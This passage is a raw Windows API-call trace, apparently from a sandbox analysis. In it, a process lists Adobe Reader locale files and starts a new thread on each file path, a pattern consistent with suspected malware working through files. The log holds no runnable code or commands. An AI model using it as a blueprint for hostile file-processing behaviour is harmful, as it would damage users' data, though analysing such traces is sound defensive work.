ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xb000, dwReserved0=0x0, dwReserved1=0x0, cFileName="accessibility.DEU", cAlternateFileName="ACCESS~1.DEU")) returned 1 [0240.829] wcscmp (_String1="accessibility.DEU", _String2=".") returned 1 [0240.829] wcscmp (_String1="accessibility.DEU", _String2="..") returned 1 [0240.829] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x9e) returned 0x43144d50 [0240.830] wcscpy (in: _Dest=0x43144d50, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\de_DE" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\de_DE") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\de_DE" [0240.830] wcscat (in: _Dest=0x43144d50, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\de_DE\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\de_DE\\" [0240.830] wcscat (in: _Dest=0x43144d50, _Source="accessibility.DEU" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\de_DE\\accessibility.DEU") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\de_DE\\accessibility.DEU" [0240.830] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x43144d50, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2358 [0240.831] FindNextFileW (in: hFindFile=0x1cd9c430, lpFindFileData=0x1cd9b8e0 | out: lpFindFileData=0x1cd9b8e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x82ba4120, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x6c800, dwReserved0=0x0, dwReserved1=0x0, cFileName="Acroform.DEU", cAlternateFileName="")) returned 1 [0240.831] wcscmp (_String1="Acroform.DEU", _String2=".") returned 1 [0240.831] wcscmp (_String1="Acroform.DEU", _String2="..") returned 1 [0240.831] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x94) returned 0x431cc3e0 [0240.832] wcscpy (in: _Dest=0x431cc3e0, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\de_DE" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\de_DE") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\de_DE" [0240.832] wcscat (in: _Dest=0x431cc3e0, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\de_DE\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\de_DE\\" [0240.832] wcscat (in: _Dest=0x431cc3e0, _Source="Acroform.DEU" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\de_DE\\Acroform.DEU") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\de_DE\\Acroform.DEU" [0240.832] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x431cc3e0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x234c [0240.833] FindNextFileW (in: hFindFile=0x1cd9c430, lpFindFileData=0x1cd9b8e0 | out: lpFindFileData=0x1cd9b8e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x801d5ec0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="AdobeCollabSync.DEU", cAlternateFileName="ADOBEC~1.DEU")) returned 1 [0240.833] wcscmp (_String1="AdobeCollabSync.DEU", _String2=".") returned 1 [0240.833] wcscmp (_String1="AdobeCollabSync.DEU", _String2="..") returned 1 [0240.833] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xa2) returned 0x43144e00 [0240.834] wcscpy (in: _Dest=0x43144e00, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\de_DE" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\de_DE") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\de_DE" [0240.834] wcscat (in: _Dest=0x43144e00, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\de_DE\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\de_DE\\" [0240.834] wcscat (in: _Dest=0x43144e00, _Source="AdobeCollabSync.DEU" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\de_DE\\AdobeCollabSync.DEU") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\de_DE\\AdobeCollabSync.DEU" [0240.834] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x43144e00, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x233c [0240.835] FindNextFileW (in: hFindFile=0x1cd9c430, lpFindFileData=0x1cd9b8e0 | out: lpFindFileData=0x1cd9b8e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x82a99780, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x80a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="Annots.DEU", cAlternateFileName="")) returned 1 [0240.835] wcscmp (_String1="Annots.DEU", _String2=".") returned 1 [0240.835] wcscmp (_String1="Annots.DEU", _String2="..") returned 1 [0240.835] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x90) returned 0x431cc480 [0240.835] wcscpy (in: _Dest=0x431cc480, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\de_DE" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\de_DE") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\de_DE" [0240.835] wcscat (in: _Dest=0x431cc480, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\de_DE\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\de_DE\\" [0240.835] wcscat (in: _Dest=0x431cc480, _Source="Annots.DEU" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\de_DE\\Annots.DEU") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\de_DE\\Annots.DEU" [0240.835] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x431cc480, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2338 [0240.836] FindNextFileW (in: hFindFile=0x1cd9c430, lpFindFileData=0x1cd9b8e0 | out: lpFindFileData=0x1cd9b8e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x820558a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x3600, dwReserved0=0x0, dwReserved1=0x0, cFileName="BRdlang32.DEU", cAlternateFileName="BRDLAN~1.DEU")) returned 1 [0240.836] wcscmp (_String1="BRdlang32.DEU", _String2=".") returned 1 [0240.836] wcscmp (_String1="BRdlang32.DEU", _String2="..") returned 1 [0240.836] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x96) returned 0x431cc520 [0240.837] wcscpy (in: _Dest=0x431cc520, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\de_DE" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\de_DE") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\de_DE" [0240.837] wcscat (in: _Dest=0x431cc520, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\de_DE\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\de_DE\\" [0240.837] wcscat (in: _Dest=0x431cc520, _Source="BRdlang32.DEU" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\de_DE\\BRdlang32.DEU") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\de_DE\\BRdlang32.DEU" [0240.837] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x431cc520, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1ba4 [0240.837] FindNextFileW (in: hFindFile=0x1cd9c430, lpFindFileData=0x1cd9b8e0 | out: lpFindFileData=0x1cd9b8e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x82bca280, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1fe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="Checkers.DEU", cAlternateFileName="")) returned 1 [0240.837] wcscmp (_String1="Checkers.DEU", _String2=".") returned 1 [0240.837] wcscmp (_String1="Checkers.DEU", _String2="..") returned 1 [0240.837] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x94) returned 0x431cc5c0 [0240.838] wcscpy (in: _Dest=0x431cc5c0, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\de_DE" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\de_DE") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\de_DE" [0240.838] wcscat (in: _Dest=0x431cc5c0, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\de_DE\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\de_DE\\" [0240.838] wcscat (in: _Dest=0x431cc5c0, _Source="Checkers.DEU" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\de_DE\\Checkers.DEU") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\de_DE\\Checkers.DEU" [0240.838] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x431cc5c0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x16ac [0240.838] FindNextFileW (in: hFindFile=0x1cd9c430, lpFindFileData=0x1cd9b8e0 | out: lpFindFileData=0x1cd9b8e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x82ba4120, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x21e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="DigSig.DEU", cAlternateFileName="")) returned 1 [0240.838] wcscmp (_String1="DigSig.DEU", _String2=".") returned 1 [0240.838] wcscmp (_String1="DigSig.DEU", _String2="..") returned 1 [0240.839] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x90) returned 0x431c4fe0 [0240.839] wcscpy (in: _Dest=0x431c4fe0, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\de_DE" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\de_DE") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\de_DE" [0240.839] wcscat (in: _Dest=0x431c4fe0, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\de_DE\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\de_DE\\" [0240.839] wcscat (in: _Dest=0x431c4fe0, _Source="DigSig.DEU" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\de_DE\\DigSig.DEU") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\de_DE\\DigSig.DEU" [0240.839] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x431c4fe0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2710 [0240.839] FindNextFileW (in: hFindFile=0x1cd9c430, lpFindFileData=0x1cd9b8e0 | out: lpFindFileData=0x1cd9b8e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x82bca280, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x4c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="DVA.DEU", cAlternateFileName="")) returned 1 [0240.839] wcscmp (_String1="DVA.DEU", _String2=".") returned 1 [0240.839] wcscmp (_String1="DVA.DEU", _String2="..") returned 1 [0240.840] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x8a) returned 0x431c5f80 [0240.840] wcscpy (in: _Dest=0x431c5f80, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\de_DE" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\de_DE") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\de_DE" [0240.840] wcscat (in: _Dest=0x431c5f80, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\de_DE\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\de_DE\\" [0240.840] wcscat (in: _Dest=0x431c5f80, _Source="DVA.DEU" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\de_DE\\DVA.DEU") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\de_DE\\DVA.DEU" [0240.840] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x431c5f80, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x270c [0240.840] FindNextFileW (in: hFindFile=0x1cd9c430, lpFindFileData=0x1cd9b8e0 | out: lpFindFileData=0x1cd9b8e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x82ec3e00, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="eBook.DEU", cAlternateFileName="")) returned 1 [0240.841] wcscmp (_String1="eBook.DEU", _String2=".") returned 1 [0240.841] wcscmp (_String1="eBook.DEU", _String2="..") returned 1 [0240.841] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x8e) returned 0x431c5760 [0240.841] wcscpy (in: _Dest=0x431c5760, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\de_DE" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\de_DE") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\de_DE" [0240.841] wcscat (in: _Dest=0x431c5760, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\de_DE\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\de_DE\\" [0240.841] wcscat (in: _Dest=0x431c5760, _Source="eBook.DEU" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\de_DE\\eBook.DEU") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\de_DE\\eBook.DEU" [0240.841] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x431c5760, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2708 [0240.842] FindNextFileW (in: hFindFile=0x1cd9c430, lpFindFileData=0x1cd9b8e0 | out: lpFindFileData=0x1cd9b8e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x82ba4120, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xa600, dwReserved0=0x0, dwReserved1=0x0, cFileName="Escript.deu", cAlternateFileName="")) returned 1 [0240.842] wcscmp (_String1="Escript.deu", _String2=".") returned 1 [0240.842] wcscmp (_String1="Escript.deu", _String2="..") returned 1 [0240.842] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x92) returned 0x431c5800 [0240.842] wcscpy (in: _Dest=0x431c5800, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\de_DE" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\de_DE") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\de_DE" [0240.842] wcscat (in: _Dest=0x431c5800, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\de_DE\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\de_DE\\" [0240.842] wcscat (in: _Dest=0x431c5800, _Source="Escript.deu" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\de_DE\\Escript.deu") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\de_DE\\Escript.deu" [0240.842] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x431c5800, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2704 [0240.843] FindNextFileW (in: hFindFile=0x1cd9c430, lpFindFileData=0x1cd9b8e0 | out: lpFindFileData=0x1cd9b8e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x82ba4120, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="IA32.DEU", cAlternateFileName="")) returned 1 [0240.843] wcscmp (_String1="IA32.DEU", _String2=".") returned 1 [0240.843] wcscmp (_String1="IA32.DEU", _String2="..") returned 1 [0240.843] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x8c) returned 0x431c58a0 [0240.843] wcscpy (in: _Dest=0x431c58a0, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\de_DE" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\de_DE") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\de_DE" [0240.843] wcscat (in: _Dest=0x431c58a0, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\de_DE\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\de_DE\\" [0240.843] wcscat (in: _Dest=0x431c58a0, _Source="IA32.DEU" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\de_DE\\IA32.DEU") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\de_DE\\IA32.DEU" [0240.843] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x431c58a0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2700 [0240.844] FindNextFileW (in: hFindFile=0x1cd9c430, lpFindFileData=0x1cd9b8e0 | out: lpFindFileData=0x1cd9b8e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7da43100, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x14400, dwReserved0=0x0, dwReserved1=0x0, cFileName="makeaccessible.DEU", cAlternateFileName="MAKEAC~1.DEU")) returned 1 [0240.844] wcscmp (_String1="makeaccessible.DEU", _String2=".") returned 1 [0240.844] wcscmp (_String1="makeaccessible.DEU", _String2="..") returned 1 [0240.844] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xa0) returned 0x431464b0 [0240.844] wcscpy (in: _Dest=0x431464b0, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\de_DE" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\de_DE") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\de_DE" [0240.844] wcscat (in: _Dest=0x431464b0, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\de_DE\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\de_DE\\" [0240.844] wcscat (in: _Dest=0x431464b0, _Source="makeaccessible.DEU" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\de_DE\\makeaccessible.DEU") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\de_DE\\makeaccessible.DEU" [0240.844] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x431464b0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x26fc [0240.845] FindNextFileW (in: hFindFile=0x1cd9c430, lpFindFileData=0x1cd9b8e0 | out: lpFindFileData=0x1cd9b8e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d723420, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x14600, dwReserved0=0x0, dwReserved1=0x0, cFileName="Multimedia.DEU", cAlternateFileName="MULTIM~1.DEU")) returned 1 [0240.845] wcscmp (_String1="Multimedia.DEU", _String2=".") returned 1 [0240.845] wcscmp (_String1="Multimedia.DEU", _String2="..") returned 1 [0240.845] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x98) returned 0x431c5b20 [0240.845] wcscpy (in: _Dest=0x431c5b20, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\de_DE" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\de_DE") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\de_DE" [0240.845] wcscat (in: _Dest=0x431c5b20, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\de_DE\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\de_DE\\" [0240.845] wcscat (in: _Dest=0x431c5b20, _Source="Multimedia.DEU" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\de_DE\\Multimedia.DEU") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\de_DE\\Multimedia.DEU" [0240.845] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x431c5b20, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x26f8 [0240.846] FindNextFileW (in: hFindFile=0x1cd9c430, lpFindFileData=0x1cd9b8e0 | out: lpFindFileData=0x1cd9b8e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d984a20, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x2c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="pddom.DEU", cAlternateFileName="")) returned 1 [0240.846] wcscmp (_String1="pddom.DEU", _String2=".") returned 1 [0240.846] wcscmp (_String1="pddom.DEU", _String2="..") returned 1 [0240.846] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x8e) returned 0x431c5c60 [0240.846] wcscpy (in: _Dest=0x431c5c60, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\de_DE" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\de_DE") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\de_DE" [0240.846] wcscat (in: _Dest=0x431c5c60, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\de_DE\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\de_DE\\" [0240.846] wcscat (in: _Dest=0x431c5c60, _Source="pddom.DEU" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\de_DE\\pddom.DEU") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\de_DE\\pddom.DEU" [0240.846] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x431c5c60, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x26f4 [0240.847] FindNextFileW (in: hFindFile=0x1cd9c430, lpFindFileData=0x1cd9b8e0 | out: lpFindFileData=0x1cd9b8e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x82ba4120, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x88400, dwReserved0=0x0, dwReserved1=0x0, cFileName="PPKLITE.DEU", cAlternateFileName="")) returned 1 [0240.847] wcscmp (_String1="PPKLITE.DEU", _String2=".") returned 1 [0240.847] wcscmp (_String1="PPKLITE.DEU", _String2="..") returned 1 [0240.847] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x92) returned 0x431c6480 [0240.847] wcscpy (in: _Dest=0x431c6480, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\de_DE" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\de_DE") returned="C:\\Program Files (x86)\\Adobe\\Reader 